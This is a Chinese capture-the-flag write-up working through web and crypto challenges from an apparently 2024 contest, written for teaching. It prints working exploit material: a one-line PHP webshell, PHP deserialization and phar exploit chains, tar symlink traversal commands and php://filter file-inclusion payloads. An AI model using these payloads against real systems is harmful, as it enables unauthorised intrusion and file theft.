writeup

web

easy_flask【day1】

想想flask!!

——————————

开题一个输入框,随便输入如下回显: image-20250117192410116

一眼ssti,直接用hackbar中的payload打即可:

image-20250117192503283

得到flag。

file_copy【day1】

file copy

——————

开题如下: image-20250117193022625

随便输入/etc/passwd返回值如下:

image-20250117193101818

然后尝试了一下/flag:

image-20250117193128954

有内容。然后想了一下后端的逻辑,猜测这里是调用的copy()函数,然后随便输入,得到如下报错结果:

image-20250117193319270

copy()函数是一个文件操作函数,可以知道这里可以打oracle侧信道,直接跑脚本即可:

image-20250117193425498

得到flag。

Gotar【day1】

一个简陋的文件管理系统,你能拿到admin用户上传的flag吗?

————————

看了一下官方wp,这个算是非预期的方法。

题目给了go源码。自己审源码,没审出来什么东西,尝试过直接伪造jwt,但是没成功。然后搜文章,看到了如下文章:

https://xz.aliyun.com/t/15049?time__1311=GqjxuiPYqDq0yqeqBKumxRxWqT5xn0geoD#toc-10

里面提到了几个go语言的存在漏洞的函数,比如有目录穿越漏洞。

但是我找了一圈没看到利用点。感觉是在文件上传这个地方有利用点,这里后端采用的archive/tar库只能解析tar后缀的压缩文件,所以这里就只能上传tar文件。想到了软链接,前面都是打的unzip软链接,这里应该也存在tar软链接,想着使用tar软链接来带出文件。找到了一篇感觉可以打的文章:

https://b1ue0ceanrun.github.io/2022/07/08/justctf2022/

但是在最关键的如何压缩tar文件没有具体说明,原文感觉是直接利用的winrar来压缩的,这里没有成功,一直没打出来,感觉就是命令出了问题。

后面就可以搜tar软链接,如下文章:

https://www.ek1ng.com/2023CrewCTFWP.html#archive-stat-viewer

这个文章就很像了。

可以知道基本思路,但是还是一直没打出来,找了一篇文章说怎么写软链接,其使用的命令如下:

1
tar -cvhf ./tmp/SK_Aug_camera.tar ./gap_40_5

这个其实有一定的问题,对于tar命令的参数说明的参考文章如下:

https://blog.csdn.net/u013053075/article/details/103117341

里面说到了-h选项的:

image-20250117220348962

也就是说这里压缩成tar包时会将我使用ln -s命令指定的软链接的文件中的内容直接压缩在里面,而不是将软链接的指向压缩在里面,但是我们真正想要利用的是第二个,所以这里并不能加上-h选项,所以最后尝试的命令如下:

1
tar -cvf 1234.tar passwd

如下执行即可:

image-20250117220701248

然后上传1234.tar文件,如下回显: image-20250117221123253

说是已经有了软链接,那么现在访问一下给的路径,什么都没有,但是这里的2是一个目录,所以可以尝试一下目录穿越:

1
tar -cvf 1234.tar ../../passwd

还是没打出来,后来发现是tar版本的问题,压缩时会自动去除../,后面多注意一下。

比赛结束找晨曦师傅要了一下wp。最后没复现出来,环境关了。

非预期是打的tar软链接,需要目录穿越一下,这里使用的tar目录的选项为:

1
2
ln -s /flag flag
tar cf a3.tar ../../flag

官网wp是可以目录穿越写文件,然后覆盖掉.env文件里面的JWT_SECRET,这样可以实现admin用户伪造,可以直接在download页面读取到flag。

贴一个官方wp:

2024春秋杯冬季赛第一天题目部分解析

easy_ser【day2】

简单的反序列化来哩

————————

一道php反序列化的题,代码如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
听说pop挺好玩的
<?php
//error_reporting(0);
function PassWAF1($data){
    $BlackList = array("eval", "system", "popen", "exec", "assert", "phpinfo", "shell_exec",  "pcntl_exec", "passthru", "popen", "putenv");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}

function PassWAF2($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}

function PassWAF3($data){
    $BlackList = array("\.\.", "\/");
    foreach ($BlackList as $value) {
        if (preg_match("/" . $value . "/im", $data)) {
            return true;
        }
    }
    return false;
}

function Base64Decode($s){
    $decodeStr = base64_decode($s);
    if (is_bool($decodeStr)) {
        echo "gg";
        exit(-1);
    }
    return $decodeStr;
}

class STU{

    public $stu;
    public function __construct($stu){
        $this->stu = $stu;
    }

    public function __invoke(){
        echo $this->stu;
    }
}


class SDU{
    public $Dazhuan;

    public function __wakeup(){
        $Dazhuan = $this->Dazhuan;
        $Dazhuan();
    }
}


class CTF{
    public $hackman;
    public $filename;

    public function __toString(){

        $data = Base64Decode($this->hackman);
        $filename = $this->filename;

        if (PassWAF1($data)) {
            echo "so dirty";
            return;
        }
        if (PassWAF3($filename)) {
            echo "just so so?";
            return;
        }

        file_put_contents($filename, PassWAF2($data));
        echo "hack?";
        return "really!";
    }

    public function __destruct(){
        echo "bye";
    }
}

$give = $_POST['data'];
if (isset($_POST['data'])) {
    unserialize($give);
} else {
    echo "<center>听说pop挺好玩的</center>";
    highlight_file(__FILE__);
} 

其中几个点:

1
file_put_contents($filename, PassWAF2($data));

可以知道是写文件,这里就可以写马。

写马的话就需要注意定义的函数以及调用,比较需要关注的就如下函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function PassWAF2($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}

这里会将我输入的内容编写成一个类似16进制格式的那种内容,然后才会写入文件,如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
function PassWAF2($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}

$a="\<\?php \$_GET[0](\$_POST[1])\?\>";
$filename = "123456.php";
file_put_contents($filename, PassWAF2($a));

运行后123456.php文件内容为:

1
2
00000000: 5c3c 5c3f 7068 7020 245f 4745 545b 305d  \<\?php $_GET[0]
00000010: 2824 5f50 4f53 545b 315d 295c 3f5c 3e    ($_POST[1])\?\> 

可以看到是将代码分割开了,很容易想到,缩短payload长度,让其在第一行就会被全部解析,想到了一句话木马最短版:

1
<?=`$_GET[0]`;?>

经测试,可以成功:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
function PassWAF2($str){
    $output = '';
    $count = 0;
    foreach (str_split($str, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= (($c < ' ' || $c > '~') ? '.' : $c);
        }
        $output .= sprintf("%08x: %-40s %-16s\n", $count, $hex_string, $ascii_string);
        $count += 16;
    }
    return $output;
}

$a='<?=`$_GET[0]`;?>';
$filename = "123456.php";
file_put_contents($filename, PassWAF2($a));

所以现在直接写链子即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
听说pop挺好玩的
<?php
class STU{
    public $stu;
    public function __invoke(){
        echo $this->stu;
    }
}

class SDU{
    public $Dazhuan;
    public function __wakeup(){
        $Dazhuan = $this->Dazhuan;
        $Dazhuan();
    }
}


class CTF{
    public $hackman;
    public $filename;
    public function __toString(){

        $data = Base64Decode($this->hackman);
        $filename = $this->filename;

        if (PassWAF1($data)) {
            echo "so dirty";
            return;
        }
        if (PassWAF3($filename)) {
            echo "just so so?";
            return;
        }

        file_put_contents($filename, PassWAF2($data));
        echo "hack?";
        return "really!";
    }

    public function __destruct(){
        echo "bye";
    }
}

$a= new SDU();
$a->Dazhuan=new STU();
$a->Dazhuan->stu=new CTF();
$a->Dazhuan->stu->filename="shell.php";
$a->Dazhuan->stu->hackman='PD89YCRfR0VUWzBdYDs/Pg==';
echo serialize($a);

得到链子:

1
O:3:"SDU":1:{s:7:"Dazhuan";O:3:"STU":1:{s:3:"stu";O:3:"CTF":2:{s:7:"hackman";s:24:"PD89YCRfR0VUWzBdYDs/Pg==";s:8:"filename";s:9:"shell.php";}}}

然后就是打就行了,传入数据后访问shell.php文件,进行命令执行读flag即可:

image-20250118234259682

得到flag。

b0okshelf【day2】

读万卷书,行万里路。老师想让你做一个共享图书平台,但是为了开源节流,不采用数据库,你用了一些神奇的办法……

————————

开题,进行信息收集。

后端是php:

image-20250118234635749

扫一下目录: image-20250118234739719

扫到一个backup.zip和一个robots.txt,但是robots.txt其实就是说的backup.zip文件。下载这个backup.zip文件,里面就是源码,简单来说就是审计源码的操作。

源码还是挺简单的。简单说说考点吧:

先是字符串逃逸(增多)来任意写马,连上木马,但是有open_basedir的限制。再然后还有disable_function的限制,这里可以使用蚁剑工具的fpm来绕,还可以使用CN-EXT (CVE-2024-2961)弹个shell来绕,记住就行。这里就注意一下,绕过disable_funtion还有其他的方法。

最后有个sudo的date提权。

环境关了,具体解法看官方wp吧:

《2024春秋杯冬季赛第二天题目部分解析》

easy_code【day3】

尝试绕过呢

题目提示:构造整数溢出,以及php://filter过滤器去绕过读取read.php

——————————

本来是day2的题,但是不知道为啥在day2最后几天撤了放day3了。

开题信息收集拿到是php后端,然后扫目录扫出来robots.txt文件,里面防爬gogogo.php,访问这个页面,得到如下php代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
 <?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

$allowedFiles = ['read.php', 'index.php'];

$ctfer = $_GET['ctfer']?? null;


if ($ctfer === null) {
    die("error 0!");
}


if (!is_numeric($ctfer)) {
    die("error 1!");
}


if ($ctfer!= 667) {
    die("error 2!");
}

//溢出
if (strpos(strval($ctfer), '7')!== false) {
    die("error 3!");
}


$file = $_GET["file"];

if ($_COOKIE['pass'] == "admin") {
    if (isset($file)) {
        // 改进的正则表达式,检查是否不存在 base|rot13|input|data|flag|file|base64 字符串
        if (preg_match("/^(?:.*(?:base|rot13|input|data|flag|file|2|5|base64|log|proc|self|env).*)$/i", $file)) {
            // 先检查文件是否在允许的列表中
            echo "prohibited prohibited!!!!";
        } else {
            echo "试试read.php";
            include($file);
        }
    }
}
?>
试试read.php

前面的整数绕过不是很懂,本来以为是考的如下文章的知识点:

Hackergame 2021 Web题2 卖瓜 题解(PHP整型溢出漏洞)

但是没怎么构造出来。看了一下其他师傅的wp,大概就是php中存在一个浮点精度问题,当浮点精度过高,会导致上溢。所以这里使用下面这个可以绕:

1
?ctfer=666.99999999999999999999999999

后面就是一个简单的filter过滤器的利用,直接如下读即可:

1
?ctfer=666.99999999999999999999999999&file=php://filter/convert.iconv.utf8.utf16/resource=read.php

拿到read.php文件内容:

1
<?php $flag = "ZmxhZ3tkOTFlYTIzZTkyN2IwZTJkY2E2NDYyNGNmNGM4NjdjYX0=" ?> 

拿去解码得到flag:

1
flag{d91ea23e927b0e2dca64624cf4c867ca}

——————

easy_php【day3】

如何触发phar呢

————————

不多说,很像一道原题:SWPUCTF 2018]SimplePHP

改了一点。给了源码,但是事先我是不知道的,这里就简单记录一下踩的坑,首先是文件名的问题,这里我基础不牢,范了一个非常基础的错误,源码中对上传的文件有如下处理:

1
2
3
4
5
6
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);

可以知道是将文件名重写并指定了后缀,这里是将上传的文件名(比如shell.gif)和访问ip(你的外网Ip)拼接然后md5加密生成的文件名。这里为了获取到文件名卡了很久,但是这里应该要注意一个代码:

1
mkdir("upload",0777);

虽然是被注释了的,但是这里也是变相表明了一些东西,这里的upload是可以访问的,就算是www-data权限。所以这里在上传了文件后是可以知道文件名的。

第二个点就是读取flag的地方,在file.php中也是注释了一个代码:

1
#ini_set('open_basedir','/var/www/html/phar2');

就是可以读取任何目录的文件。源码给了一个假的flag.php,真的是在根目录下的/flag。

最后,这里的生成phar的代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
class Chunqiu
{
    public $test;
    public $str;

    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;

    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;

    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}

$a=new Chunqiu();
$a->str=new Show();
$a->str->str['str']=new Test();
$a->str->str['str']->params["source"]="/flag";

$phar = new Phar("phar.phar"); //.phar文件,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();<!-- ?>"); //设置stub,固定的
$phar->setMetadata($a); //将自定义的meta-data存入manifest    --这里注意变通
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

生成的phar然后改成gif后缀上传即可。然后拿到文件名,使用phar协议触发即可。

其他wp就看看官方wp即可:

春秋杯WP | 2024春秋杯冬季赛第三天题目部分解析

crypto

通往哈希的旅程

在数字城,大家都是通过是通过数字电话进行的通信,常见是以188开头的11位纯血号码组成,亚历山大抵在一个特殊的地方截获一串特殊的字符串"ca12fd8250972ec363a16593356abb1f3cf3a16d",通过查阅发现这个跟以前散落的国度有点相似,可能是去往哈希国度的。年轻程序员亚力山大抵对这个国度充满好奇,决定破译这个哈希值。在经过一段时间的摸索后,亚力山大抵凭借强大的编程实力成功破解,在输入对应字符串后瞬间被传送到一个奇幻的数据世界,同时亚力山大抵也开始了他的进修之路。(提交格式:flag{11位号码})

哈希爆破,让gpt根据这个写个脚本即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib

def generate_hash(number):
    # 假设哈希算法是SHA1
    return hashlib.sha1(number.encode()).hexdigest()

def crack_hash(target_hash):
    # 生成所有11位的电话号码
    for i in range(18810000000, 18899999999):
        phone_number = str(i)
        # 生成该电话号码的哈希值
        phone_hash = generate_hash(phone_number)
        # 如果哈希值匹配,则返回该电话号码
        if phone_hash == target_hash:
            return phone_number
    return None

if __name__ == "__main__":
    target_hash = "ca12fd8250972ec363a16593356abb1f3cf3a16d"
    result = crack_hash(target_hash)
    if result:
        print(f"flag{{{result}}}")
    else:
        print("未能找到匹配的电话号码")

得到flag:

1
flag{18876011645}
Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计